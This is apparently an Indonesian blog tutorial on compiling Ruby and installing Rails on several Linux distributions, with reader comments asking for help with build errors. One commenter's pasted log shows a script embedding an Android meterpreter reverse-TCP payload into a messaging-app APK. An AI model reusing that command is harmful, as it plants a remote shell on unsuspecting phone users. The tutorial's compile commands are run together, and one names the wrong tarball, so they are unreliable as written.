ingin install satu versi Ruby di komputer Anda.
Jika Anda perlu install beragam versi Ruby, silakan menggunakan rvm. Cara installasi dengan
RVM dapat dilihat di :
http://www.belajarrubyonrails.com/2013/07/installasi-beragam-versi-ruby-di-linux.html
Persiapan
Langkah pertama kita akan Install paket yg diperlukan untuk
meng-compile ruby.
Catatan:
Pastikan user Anda punya akses untk melakukan perinta sudo. Untuk dapat melakukan perintah sudo, user harus merupakan sudoers. Biasanya yang dapat melakukan perintah sudo adalah user anggota group wheel.
CentOS/RH/Fedora/AMI
Lakukan update repository paket aplikasi distro dengan menjalankan perintah berikut
sudo yum update
Kemudian install paket-paket aplikasi yang diperlukan untuk melakukan kompilasi source Ruby
sudo yum install -y gcc-c++ patch readline readline-devel curl git zlib zlib-devel libyaml-devel libffi-devel openssl-devel make bzip2 autoconf automake libtool bison iconv-devel
Ubuntu/Debian
Install paket-paket aplikasi yang diperlukan untuk melakukan kompilasi source Ruby
sudo apt-get install build-essential openssl libreadline6 libreadline6-dev curl git-core zlib1g zlib1g-dev libssl-dev libyaml-dev libsqlite3-dev sqlite3 libxml2-dev libxslt-dev autoconf libc6-dev ncurses-dev automake libtool bison subversion
Gentoo
Lakukan sinkronisasi paket aplikasi dengan menjalankan perintah
sudo emerge --sync
Install paket aplikasi yang diperlukan dalam proses kompilasi source Ruby
sudo emerge libiconv readline zlib openssl curl git libyaml sqlite libxslt libtool gcc autoconf automake bison m4
Compile Source Ruby
Install libyaml
wget http://pyyaml.org/download/libyaml/yaml-0.1.4.tar.gztar xzvf yaml-0.1.4.tar.gzcd yaml-0.1.4./configure --prefix=/usr/localmakesudo make install
Install ruby
wget https://cache.ruby-lang.org/pub/ruby/2.4/ruby-2.4.1.tar.gztar xzvf ruby-1.9.3-pXXX.tar.gzcd ruby-2.4.1./configure --prefix=/usr/local --enable-shared --disable-install-doc --with-opt-dir=/usr/local/libmakesudo make install
NOTES: Untuk check versi ruby terbaru beserta link downloadnya, silakan lihat disini:
https://www.ruby-lang.org/en/downloads/
Update rubygems
sudo gem update –system
Install Rails, Bundler dan Rake
sudo gem install railssudo gem install bundlersudo gem install rake
kok ga bisa2 mas..
BalasHapussaya masih bingung ni cara nginstal'a..
Hi Mies Wan PHP,
HapusBisa tolong beritahu kami mengenai:
1. Versi Linux yang digunakan
2. Tahapan dalam tutorial yang sudah dijalankan
3. Error yang dihadapi
Agar kami bisa bantu debug permasalah Anda.
Thanks,
Salam Kan makasih pisan tutornya:
BalasHapussaya ada beberapa pertanyaan:
pas terakhir install rails nya ga pake sudo apakah ada perbedaan?
soalnya instalasi nya tetep jalan.
terimakasih
Kalau ga pake 'sudo' terus jalan berarti Mas sudah login sebagai root, jadi menurut perkiraan kami ga akan ada perbedaan
Hapusmas saya menggunakan kali linux base debian menemukan eror seperti ini saat install rails..... setelah saya googling masalahnya harus upgrade xcode-select --install tapi ini berlaku di MAC kalau di linux gimana ya mas: ini masalah saya mas :
BalasHapusroot@kali:~/yaml-0.1.5# sudo gem install rails
Fetching: i18n-0.6.11.gem (100%)
Fetching: json-1.8.1.gem (100%)
Building native extensions. This could take a while...
ERROR: Error installing rails:
ERROR: Failed to build gem native extension.
/usr/bin/ruby1.9.1 extconf.rb
/usr/lib/ruby/1.9.1/rubygems/custom_require.rb:36:in `require': cannot load such file -- mkmf (LoadError)
from /usr/lib/ruby/1.9.1/rubygems/custom_require.rb:36:in `require'
from extconf.rb:1:in `'
Gem files will remain installed in /var/lib/gems/1.9.1/gems/json-1.8.1 for inspection.
Results logged to /var/lib/gems/1.9.1/gems/json-1.8.1/ext/json/ext/generator/gem_make.out
Hello Mas Drago,
HapusMakasih sudah add komentar.
Untuk solve masalahnya, coba jalankan ini:
sudo apt-get install build-essential openssl libreadline6 libreadline6-dev curl git-core zlib1g zlib1g-dev libssl-dev libyaml-dev libsqlite3-dev sqlite3 libxml2-dev libxslt-dev autoconf libc6-dev ncurses-dev automake libtool bison subversion
jika masih error silakan liat solusi disini:
http://stackoverflow.com/questions/13767725/unable-to-install-gem-failed-to-build-gem-native-extension-cannot-load-such
Kalau masih ga bisa silakan kontak kita lagi.
Malem om.
BalasHapussaya dapet error waktu compile ruby 2.3.1 seperti gambar dibawah ini :
http://i63.tinypic.com/o8scv8.png
mohon pencerahannya om.
OS Saat ini : Linux Ubuntu 14.04
Halo Rizaldi,
HapusKenapa menjalankan install-doc ?
Setau kami tidak ada command tersebut di ubuntu dan tidak diperlukan juga untuk install ruby.
mas punya sya error kayak gini,
BalasHapusruby apk-embed-payload.rb
/usr/local/lib/site_ruby/2.3.0/rubygems/core_ext/kernel_require.rb:55:in `require': cannot load such file -- nokogiri (LoadError)
.
itu knapa ya? gmna cra nyelesaikanya di kali linux. trimakasih
Nokogiri nya udah di install Mas ?
Hapusmaaf saya pake ubuntu 16.04 lts saat saya install rails ada eror begini eror nya:
BalasHapusroot@afiqaan-X201EP:/home/afiq-aan# sudo gem install rails
Fetching: i18n-0.8.1.gem (100%)
Successfully installed i18n-0.8.1
Fetching: thread_safe-0.3.6.gem (100%)
Successfully installed thread_safe-0.3.6
Fetching: tzinfo-1.2.3.gem (100%)
Successfully installed tzinfo-1.2.3
Fetching: concurrent-ruby-1.0.5.gem (100%)
Successfully installed concurrent-ruby-1.0.5
Fetching: activesupport-5.0.2.gem (100%)
Successfully installed activesupport-5.0.2
Fetching: rack-2.0.1.gem (100%)
Successfully installed rack-2.0.1
Fetching: rack-test-0.6.3.gem (100%)
Successfully installed rack-test-0.6.3
Fetching: mini_portile2-2.1.0.gem (100%)
Successfully installed mini_portile2-2.1.0
Fetching: nokogiri-1.7.1.gem (100%)
Building native extensions. This could take a while...
ERROR: Error installing rails:
ERROR: Failed to build gem native extension.
current directory: /var/lib/gems/2.3.0/gems/nokogiri-1.7.1/ext/nokogiri
/usr/bin/ruby2.3 -r ./siteconf20170426-11925-15drzwq.rb extconf.rb
mkmf.rb can't find header files for ruby at /usr/lib/ruby/include/ruby.h
extconf failed, exit code 1
Gem files will remain installed in /var/lib/gems/2.3.0/gems/nokogiri-1.7.1 for inspection.
Results logged to /var/lib/gems/2.3.0/extensions/x86_64-linux/2.3.0/nokogiri-1.7.1/gem_make.out
root@afiqaan-X201EP:/home/afiq-aan# sudo gem install rails
^CERROR: Interrupted
root@afiqaan-X201EP:/home/afiq-aan# cd /home/afiq-aan/Desktop/apk-embed
root@afiqaan-X201EP:/home/afiq-aan/Desktop/apk-embed# ruby apk-embed-payload.rb bbm-3-3-2-31.apk -p android/meterpreter/reverse_tcp lhost=192.168.0.108 lport=444
/usr/lib/ruby/2.3.0/rubygems/core_ext/kernel_require.rb:55:in `require': cannot load such file -- nokogiri (LoadError)
from /usr/lib/ruby/2.3.0/rubygems/core_ext/kernel_require.rb:55:in `require'
from apk-embed-payload.rb:9:in `'
mohon pencerahannya install yg lain sukses kok
Halo Mas Ahmad,
HapusApakah sudah jalankan command ini?
sudo apt-get install build-essential openssl libreadline6 libreadline6-dev curl git-core zlib1g zlib1g-dev libssl-dev libyaml-dev libsqlite3-dev sqlite3 libxml2-dev libxslt-dev autoconf libc6-dev ncurses-dev automake libtool bison subversion
Sore om. Mau tanya. saya bingung pada bagian instalasi ruby nya. diatas om jelaskan pada bagian ini :
BalasHapuswget http://ftp.ruby-lang.org/pub/ruby/1.9/ruby-1.9.3-pXXX.tar.gz
harus ganti XXX jadi versi ruby terbaru. saya sudah cek, versi terbarunya adalah 2.4.1. saya coba ganti jadi :
wget http://ftp.ruby-lang.org/pub/ruby/1.9/ruby-1.9.3-p2.4.1.tar.gz
tapi hasil nya 404 Not Found om. penulisan versinya yg benar seharusnya kaya gimana om?
terimakasih
Halo Mas Rizaldi... maaf nih atas keterangan yang membingungkan..maksudnya ganti XXX itu ganti url buat downloadnya. Untuk Ruby 2.4.1 ini link download yang benernya:
BalasHapushttps://cache.ruby-lang.org/pub/ruby/2.4/ruby-2.4.1.tar.gz
Hallo Mas, Mau tanya dan sarannya bagus mana diinstall di windows, linux atau mac? Apakaha windows kurang powerful? Terima kasih
BalasHapusMenurut kami sama saja Mas, bagaimana selera dan kebiasaan. Kalau kamu lebih senang linux ubuntu karena menurut kami installasi nya lebih mudah daripada di Windows dan Mac.
HapusKomentar ini telah dihapus oleh pengarang.
BalasHapus